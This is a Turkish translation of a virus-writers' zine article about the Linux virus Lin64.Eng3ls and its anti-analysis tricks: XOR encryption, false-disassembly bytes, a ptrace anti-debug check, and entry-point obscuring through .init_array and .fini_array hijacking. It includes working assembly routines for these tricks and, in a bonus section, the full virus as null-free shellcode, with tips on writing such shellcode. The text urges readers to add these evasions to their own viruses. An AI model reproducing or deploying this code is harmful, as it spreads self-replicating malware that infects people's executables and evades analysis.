┌───────────────────────┐
▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄ │
│ █ █ █ █ █ █ │
│ █ █ █ █ █▀▀▀▀ │
│ █ █ █ █ ▄ │
│ ▄▄▄▄▄ │
│ █ █ │
│ █ █ │
│ █▄▄▄█ │
│ ▄ ▄ │
│ █ █ │
│ █ █ │
│ █▄▄▄█ │
│ ▄▄▄▄▄ │
│ █ │
│ █ │
└───────────────────█ ──┘
Lin64.Eng3ls: Linux virüsündeki bazı tersine mühendislik karşıtı teknikler
~ S01den & sblip
[ Çeviri @batcain tarafından yapılmıştır ]
S01den tarafından sevgilerle.
mail: S01den@protonmail.com
--- Giriş ---
sblip ile özel bir etinlik için bütün bir haftasonu Lin64.Eng3ls üzerinde çalıştık.
Eng3ls, Lin64.Kropotkine[0]'i temel alır ve enfeksiyon yöntemi hala geçerli olan
PT_NOTE -> PT_LOAD segmentidir ama ek olarak gizlenme/karmaşıklaştırma teknikleri ekledik.
Aslında bakarsanız Kropotkin hiç de gizli değildir, enfekte edilmiş çalıştırılabilir dosyaların
giriş noktası doğrudan virüsü işaret edecek şekilde değişmektedir ve bulaşıcı kod analize tamamen
açıktır.
Bu sorunları çözebilmek adına virüsün gövdesi için bir oligomorfik xor decryptor/encryptor
yaptık ve bu şifreleyici için anahtarlar her yeni çalıştırabilir dosyada değişmekte. Bu değişiklik
yeni oluşturulan kodun diğerlerinden farklı olmasını sağlıyor. Ancak bu "Poor Man's Polimorphism"
tekniği büyük bir dezavantaja sahip; decryptor kodu asla değişmiyor. Bu da demek oluyor ki;
bir tersine mühendis kara büyülere başvurmadan virüsün nasıl şifrelendiğini ve ne yaptığını anlaması çok fazla vakit almayacaktır.
Bu tür nedenlerden dolayı, decryptor'u gizleyebilmek için ilk kez virüslerimde "polymorphic false-disassembly" tekniğini
ilk kez uyguladım.
Nasıl çalıştığını ve sonuçları görmek için bu teknik hakkındaki yazdığım makaleye göz atın!
(Zin sayfasını çevirmek yeterli olacak)
Bunların dışında bir problem daha kaldı, enfekte edilmiş çalıştırabilir dosyanın giriş noktası hala
direkt olarak virüsü işaret ediyor. Bu pek de gizli sayılmıyor!
Bakalım bunu nasıl çözmüşüz....
--- ELF için Giriş Noktası Gizleme Tekniği ---
/!\ Bu teknik PIE çalıştırabilir dosyalarda geçerli değildir. /!\
Giriş noktası gizleme, bir virüsün ilk instruction adresini gizleme eylemidir.
EPO olmayan virüslerde, virüslü bir programın giriş noktası, virüsün başlangıcına
işaret edecek şekilde değiştirilirken, EPO içeren virüslerde, virüs ister ana programın
kodunda bir "jump" gizleyerek veya buradaki örnek gibi çalıştırabilir dosya biçeminin
özelliğini kötüye kullanarak yapar.
ELF'lerin giriş noktası, aslında program çalıştırıldığında ilk çağrılan ve çalıştırılan
adres değildir. "main()" fonksiyonunu çağıran bazı glibc başlatma rutinleri bulunmaktadır.
Nasıl çalıştığını detaylıca açıklamayacağım, zaten bunun hakkında harika bir makale[1] bulunmakta.
Sadece .init_array (construction pointer'ı içerir) ve .fini_array(destructor pointer'ı içerir)
bölümlerini gaspedeceğimizi unutmayın.
.init_array'in içerisinde bulunan adres giriş noktasından önce yürütülür, yani bu tam sahip olmak
istediğimiz türden bir şey demek!
Bunları yapmadan önce anti-ayıklama tekniği uygulamak istiyorum.
Mevcut işlemin izlenip izlenmediğini (debug veya strace yöntemleri) anlamak üzere
bir ptrace kontrolü.
Klasik "if (ptrace(PTRACE_TRACEME, 0, 1, 0) == -1) exit(0);" tekniğinden bahsediyorum.
Evet geçmesi acayip kolay (Patchlemek veya gdb'de rax register'ına sıfır atamak ile atlatılabilinir)
ama yine de farkedilmesini "zorlaştırdım(!)".
------------------------- BURADAN KESİN --------------------------------------------------
check_dbg:
push rbp
mov rbp, rsp
jmp jmp_over4+2
jmp_over4:
db `\x41\xba` ; false-disassembly tekniği
mov rax, 101 ; sys_ptrace
xor rdi, rdi ; PTRACE_TRACEME
xor rsi, rsi
xor r10, r10
xor rdx, rdx
inc rdx
jmp jmp_over6+2
jmp_over6:
db `\xe9\x94` ; false-disassembly tekniği
syscall
jmp jmp_over5+2
jmp_over5:
db `\x49\x81` ; false-disassembly tekniği
cmp rax, 0
jge continue
mov rax, 60
xor rdi, rdi
syscall
continue:
pop rbp
ret
-------------------------------------------------------------------------------------
Rutinde bazı false-disassembly baytları yazdım ve her yeni enfeksiyonda değişmekte.
Daha önce de bahsettiğim gibi bu kod parçacığı main() fonksiyonundan önce çalışacak. (.init_array'ı kötüye kullanarak)
Tabi eğer ayıklanıyorsa virüs çalıştırmayı kesecek. (giriş noktasında bir breakpoint olsa dahi).
.fini_array'i kötüye kullanarak virüsün çağrılmasını sağladım. İşte .init_array ve .fini_array bölümlerini patch'lemek adına,
bölüm başlık tablosunu ayrıştırarak yaptığım arama için yazdığım rutinler;
------------------------- BURADAN KESİN --------------------------------------------------
parse_shdr:
xor rcx, rcx
xor rdx, rdx
mov cx, word [rax+e_hdr.shnum] ; rcx = program başlık tablosundaki(header table) girişlerin sayısı
mov rbx, qword [rax+e_hdr.shoff] ; rbx = program başlık tablosunun offset'i
mov dx, word [rax+e_hdr.shentsize] ; rdx = program başlık tablosu girişinin boyutu
loop_shdr:
add rbx, rdx
dec rcx
cmp dword [rax+rbx+e_shdr.type], 0x0E ; 0x0F = SHT_INIT_ARRAY, hata ayıklama
; kontrolünü koymak için değiştirmek
; istediğimiz bölüm (.init_array)
je ctor_found
cmp dword [rax+rbx+e_shdr.type], 0x0F ; 0x0F = SHT_FINI_ARRAY, EPO(.fini_array)
; olarak değiştirmek istediğimiz bölüm
je dtor_found
cmp rcx, 0
jg loop_shdr
dtor_found:
mov rdi, qword [rax+rbx+e_shdr.offset]
mov [rax+rdi], r9 ; r9 dönüştürülen segmentin adresini tutmakta,
; yani virüsü yazdığımız alan
jmp write_vx
ctor_found:
mov rdi, qword [rax+rbx+e_shdr.offset]
add r9, 0x86 ; r9+0x86 = check_dbg'nin başladığı adres
mov [rax+rdi], r9
sub r9, 0x86
jmp loop_shdr
-------------------------------------------------------------------------------------
--- Sonuç ---
Giriş noktası değişikliği yetersiz, bunun yerine .init_array veya .fini_array gaspetme gibi
gizleme yöntemlerini kullanın.
Virüslerinizi ışıklı mışıklı yapmak için bazı komik tersine mühendislik karşıtı şeyler ekleyin.
Burama bir tutam şifreleme.....
Şurama birazcık debugger tespiti.........
Umarım bu makaleyi beğenmişsinizdir ve bir şeyler öğrenmişsinizdir.
Daha ileri gitmek istiyorsanız, eng3ls'in kullandığı aynı tersine mühendislik karşıtı teknikler içeren
bir crack-me yazdım.
Buradan erişebilirsiniz: https://crackmes.one/crackme/6049f27f33c5d42c3d016dea
--- Bonus ---
Bu virüsün null-byte içermeyen ve PIE olan \o/ bir versiyonunu yazdım.
O da şöyle;
unsigned char shellcode[] =
"\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc9\x4d"
"\x31\xc0\x49\x89\xe6\x48\x81\xc4\xe8\xc3\x11\x11\x48\x81\xec\xde"
"\xc0\x11\x11\x49\x89\xe7\xeb\x7c\x58\x48\x2d\x87\xc1\x11\x11\x48"
"\x05\xde\xc0\x11\x11\x50\x41\x5c\x68\xe8\xc3\x11\x11\x5e\x48\x81"
"\xee\xde\xc0\x11\x11\x48\x81\xc6\xe8\xc3\x11\x11\x48\x81\xee\xde"
"\xc0\x11\x11\x48\x31\xff\x6a\x07\x5a\x6a\x22\x41\x5a\x6a\x09\x58"
"\x0f\x05\x48\x89\xc3\x56\x59\xb0\x54\x48\x31\xd2\x41\x8a\x14\x3c"
"\x48\x81\xc7\xde\xc0\x11\x11\x48\x81\xff\x86\xc1\x11\x11\x76\x02"
"\x30\xc2\x48\x81\xef\xde\xc0\x11\x11\x88\x14\x3b\x48\xff\xc7\xe2"
"\xdb\x49\x89\xdf\x48\x81\xc3\x87\xc1\x11\x11\x48\x81\xeb\xde\xc0"
"\x11\x11\xff\xe3\xe8\x7f\xff\xff\xff\x1c\xd5\x90\x5e\x57\x54\x54"
"\x1c\xd5\x90\x5e\x57\x54\x54\x1c\xd5\x90\x54\x55\x54\x54\xbd\x6b"
"\x56\x54\x54\x0b\xec\x56\x54\x54\x54\x1c\x65\xa2\x5b\x51\x1c\xdd"
"\x93\xec\x8d\x54\x54\x54\x1c\xdd\xb2\xee\x54\x50\x54\x54\x5b\x51"
"\x1c\xd7\xac\x54\x5b\xd8\xb1\x55\x54\x54\x1d\xdd\x91\x1c\x65\x8f"
"\x1c\xdd\xb4\x1c\xd7\x94\x47\x1c\xdd\x92\xeb\x55\x54\x54\x54\x1c"
"\x65\x9d\xde\x18\x70\x46\x07\xbc\x42\x54\x54\x54\x0f\x32\xdf\x10"
"\x70\x44\x1c\x55\x97\x1c\x55\x90\x18\x6d\xbf\x28\x87\xbd\xf9\x55"
"\x54\x54\x1c\xdd\xb1\x1c\xd7\xad\x5c\x21\x05\x1c\xdd\xa3\xec\x56"
"\x54\x54\x54\xea\x56\x50\x54\x54\x5b\x51\x1c\xd7\xac\x54\x2a\x68"
"\x1c\xdd\x97\x1c\xdd\xb2\x18\x7d\xba\xec\x50\x54\x54\x54\x5b\x51"
"\x1d\xdd\x8c\x1c\xdf\x22\x64\xeb\x54\x54\x54\x54\xee\x52\x54\x54"
"\x54\x19\x65\x9d\x15\xee\x55\x54\x54\x54\x1c\x65\x94\xec\x5d\x54"
"\x54\x54\x5b\x51\xd5\x6c\x2b\x11\x18\x12\x20\x45\xec\x57\x54\x54"
"\x54\x1c\xdd\x8b\x5b\x51\x1c\x65\x94\x1c\xdd\xb8\x97\xd4\x2c\x50"
"\x56\x20\x56\xbf\xb3\x32\xd7\x2c\x44\x56\x20\x56\xbf\x8a\xd5\x2c"
"\x5d\x8a\x94\xf9\x8a\x21\x53\x1c\x65\x94\x1c\xdd\xb8\x97\x1c\x65"
"\x9d\x1c\x65\x86\x32\xdf\x1c\x6c\x1c\xdf\x0c\x74\x32\xdf\x04\x62"
"\x1c\x55\x87\x1c\xab\x9d\xd7\x68\x4c\x50\x20\x52\x1c\xd7\xad\x54"
"\x2b\xba\x93\x14\x5d\x8a\x94\xf9\x8a\x93\x50\x4c\x55\x54\x54\x54"
"\x93\x10\x4c\x50\x53\x54\x54\x54\x15\xed\x54\x54\x54\x58\x1d\x55"
"\xa5\x18\xdd\x18\x4c\x44\x1c\xdf\x28\x4c\x74\x1c\xd5\x93\x5e\x57"
"\x54\x54\x1c\xdd\x28\x4c\x74\x1c\xdf\x28\x4c\x7c\x1c\xd5\x93\x5e"
"\x57\x54\x54\x1c\xdd\x28\x4c\x7c\x1c\xdd\x20\x4c\x5c\x1c\x65\x9d"
"\x1c\x65\x86\x32\xdf\x1c\x68\x1c\xdf\x0c\x7c\x32\xdf\x04\x6e\x1c"
"\x55\x87\x1c\xab\x9d\xd7\x28\x4c\x50\x5b\x20\x52\x1c\xd7\xad\x54"
"\x2b\xb9\x1c\xdf\x28\x4c\x4c\x18\xdd\x58\x6c\xee\x50\x54\x54\x54"
"\x1c\xdd\x93\xec\x4e\x54\x54\x54\x5b\x51\xec\x5f\x54\x54\x54\x5b"
"\x51\x5b\x65\x32\x61\xf9\x8a\x15\xde\x1b\x3c\x15\xdc\x13\x3c\x1c"
"\x65\x86\x1c\x65\x8f\x15\xde\x48\x43\x15\xdc\xc8\x43\x5e\x57\x54"
"\x54\x1c\xab\x96\x1c\xd5\xae\xfd\x54\x54\x54\x21\xbc\x15\xde\x48"
"\x43\x64\x97\x15\xdc\xc8\x43\x5e\x57\x54\x54\x1c\xab\x96\x1c\xd5"
"\xae\x5e\x57\x54\x54\x21\xb2\x18\xdd\x93\x18\xdd\xaa\x1c\xd5\x92"
"\x5e\x57\x54\x54\xee\x5e\x57\x54\x54\x1c\xd7\x96\x7a\xec\x55\x54"
"\x54\x54\x5b\x51\xec\x57\x54\x54\x54\x5b\x51\x1c\xdd\xb8\x97\xec"
"\x55\x54\x54\x54\x1c\x65\xab\x1c\xab\x93\x3c\x5e\x0c\x0b\x0c\x1c"
"\xdd\xb2\xee\x50\x54\x54\x54\x5b\x51\xec\x68\x54\x54\x54\x5b\x51"
"\x1c\x65\x9d\x1c\x65\x8f\x1c\x65\x94\x1c\x65\x86\x97\x1c\xdf\x50"
"\x70\x97\xbc\xe8\xa9\xab\xab\x7a\x54\x54";
Aptal olma, sakın bu boku vahşi doğaya salayım deme.
Bununla yaptığın şeylerden asla biz sorumlu değiliz.
--> null-byte içermeyen shellcode yazmak için iki teknik:
1) "mov" instruction'unu "push" ile değiştir.
Örnek:
b809000000 mov eax, 9 ----> 6a09 push 0x9
58 pop rax
2) add/sub tekniği:
Bazen bazı register'lara yüklediğiniz değerler null-byte içerir.
Çöp değerler ekleyip çıkararak bu null-byte'lardan kurtulabilirsin.
Örnek:
4881c4890300 add rsp, 0x389 ----> 4881c4e8c311 add rsp, 0x1111c3e8
^ // 0x1111c3e8 = 0x389 + 0x1111c0de
4881ecdec011 sub rsp, 0x1111c0de
--- Notlar ve Referanslar ---
[0] https://github.com/vxunderground/MalwareSourceCode/blob/main/VXUG/Linux.Kropotkine.asm
[1] Abusing .CTORS and .DTORS for fun 'n profit
https://www.exploit-db.com/papers/13234
--- Source ---
- Linux.Eng3ls.asm